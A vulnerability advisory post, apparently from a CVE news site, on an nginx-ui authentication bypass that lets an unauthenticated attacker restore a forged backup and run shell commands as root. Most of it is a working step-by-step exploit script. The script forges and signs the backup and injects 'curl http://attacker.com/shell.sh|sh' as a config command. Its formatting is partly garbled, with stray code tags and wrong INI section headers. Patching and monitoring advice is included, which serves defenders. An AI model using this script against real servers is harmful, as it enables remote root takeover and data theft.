nginx-ui, Authentication Bypass to OS Command Injection, CVE (pending) (Critical)

Listen to this Post

The vulnerability (CVE pending) in nginx-ui allows an unauthenticated attacker to achieve remote code execution by exploiting the

`/api/restore` endpoint during the first 10 minutes after process startup. The root cause is that the `authIfInstalled` middleware only enforces authentication if the system is installed (JwtSecret non-empty) or the 10-minute install timeout has expired. On a fresh install or any restart (container restart, upgrade), both conditions are false, so the endpoint is completely open.

The restore handler accepts a crafted backup archive containing a malicious `app.ini` and SQLite database. The attacker supplies their own AES key and IV via the `security_token` field, which is also used to derive the HMAC signing key for the manifest – meaning the attacker can produce a valid signature for any content. The `EncryptedForm()` middleware is bypassed by omitting the `encrypted_params` field. The restore operation unconditionally overwrites the application’s `app.ini` and database. The attacker sets `TestConfigCmd` in `app.ini` to a malicious shell command


(e.g., <code>curl http://attacker.com/shell.sh|sh`). After restore, `risefront.Restart()` reloads the config. A subsequent authenticated request (using the attacker-chosen node secret from the restored config) to `/api/nginx/test` triggers</code>TestConfig()<code>, which executes the command via</code>/bin/sh -c<code>. In Docker deployments, nginx-ui typically runs as root, giving full host access. The 10-minute window resets on every restart, making this persistently exploitable.</code>

dailycve form:
Platform: nginx-ui Docker
Version: All versions
Vulnerability : Auth Bypass RCE
Severity: Critical
date: 2026-04-21

Prediction: 2026-05-15

What Undercode Say:

</code>
<code>Check if install window is open</code>
<code>curl -s http://target:9000/api/install | jq</code>
<code>Expected: {"lock":false,"timeout":false}</code>
<code>Generate AES key and IV</code>
<code>aes_key=$(openssl rand -base64 32)</code>
<code>aes_iv=$(openssl rand -base64 16)</code>
<code>Create malicious app.ini</code>
<code>cat > app.ini <<EOF</code>
<code>[bash]</code>
<code>JwtSecret = arbitrary_32_byte_secret_1234567890</code>
<code>[bash]</code>
<code>Secret = attacker_node_secret</code>
<code>[bash]</code>
<code>TestConfigCmd = curl http://attacker.com/shell.sh|sh</code>
<code>EOF</code>
<code>Package app.ini and dummy nginx-ui.db into nginx-ui.zip</code>
<code>zip nginx-ui.zip app.ini nginx-ui.db</code>
<code>Encrypt with AES-256-CBC</code>
<code>openssl enc -aes-256-cbc -in nginx-ui.zip -out nginx-ui.enc -K $(echo -n $aes_key | base64 -d | xxd -p -c 32) -iv $(echo -n $aes_iv | base64 -d | xxd -p -c 16)</code>
<code>Compute SHA256 and size</code>
<code>sha256=$(sha256sum nginx-ui.enc | cut -d' ' -f1)</code>
<code>size=$(stat -c%s nginx-ui.enc)</code>
<code>Create manifest.json</code>
<code>cat > manifest.json <<EOF</code>
<code>{"schema":1,"created_at":"20260421-120000","version":"2.0.0","files":[{"name":"nginx-ui.zip","sha256":"$sha256","size":$size}]}</code>
<code>EOF</code>
<code>Derive signing key and sign manifest</code>
<code>context="nginx-ui-backup-signing-v1:"</code>
<code>signing_key=$(echo -n "$context$(echo -n $aes_key | base64 -d)" | sha256sum | cut -d' ' -f1 | xxd -r -p | base64)</code>
<code>sig=$(echo -n "$(cat manifest.json)" | openssl dgst -sha256 -mac HMAC -macopt hexkey:$(echo -n $signing_key | base64 -d | xxd -p -c 64) | cut -d' ' -f2)</code>
<code>Assemble outer ZIP</code>
<code>zip evil.zip manifest.json manifest.sig nginx-ui.enc</code>
<code>Upload backup (no auth)</code>
<code>curl -X POST http://target:9000/api/restore \</code>
<code>-F "[email protected]" \</code>
<code>-F "security_token=$(echo -n $aes_key:$aes_iv | base64 -w0)" \</code>
<code>-F "restore_nginx_ui=true"</code>
<code>Wait 5 seconds, then trigger RCE using restored node secret</code>
<code>curl -X POST http://target:9000/api/nginx/test \</code>
<code>-H "X-Node-Secret: attacker_node_secret"</code>
<code>


<h2 style="color: blue;">Exploit:</h2>
<h2 style="color: blue;">1. Confirm unprotected install window via/api/install.</h2>
2. Craft ZIP with malicious `app.ini` setting `TestConfigCmd` to a reverse shell one-liner.
<h2 style="color: blue;">3. Encrypt inner ZIPs using attacker-controlled AES key/IV.</h2>
<h2 style="color: blue;">4. Sign manifest with derived HMAC key.</h2>
<h2 style="color: blue;">5. Upload `multipart/form-data` with `security_token` andrestore_nginx_ui=true.</h2>
6. After auto-restart, call `/api/nginx/test` with the injected node secret – command executes as root.

Protection from this CVE:

- Apply patch that adds `middleware.AuthRequired()` unconditionally to/api/restore.
- If patching not possible, block `/api/restore` at network level (e.g., firewall or reverse proxy).
- Run nginx-ui as non-root user (avoid `--user root` in Docker).
- Monitor for unexpected `app.ini` changes or `TestConfigCmd` modifications.
- Use IP whitelist (though not enabled by default) to limit exposure.
<h2 style="color: blue;">Impact:</h2>
- Confidentiality: Full read of nginx configs, TLS private keys, database secrets, andapp.ini`.
– Integrity: Arbitrary modification of nginx configs and application state.
– Availability: Complete DoS via misconfiguration or stopping services.
– Scope: OS-level code execution; in Docker (common deployment) leads to root on host if privileged or host mounts exist.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top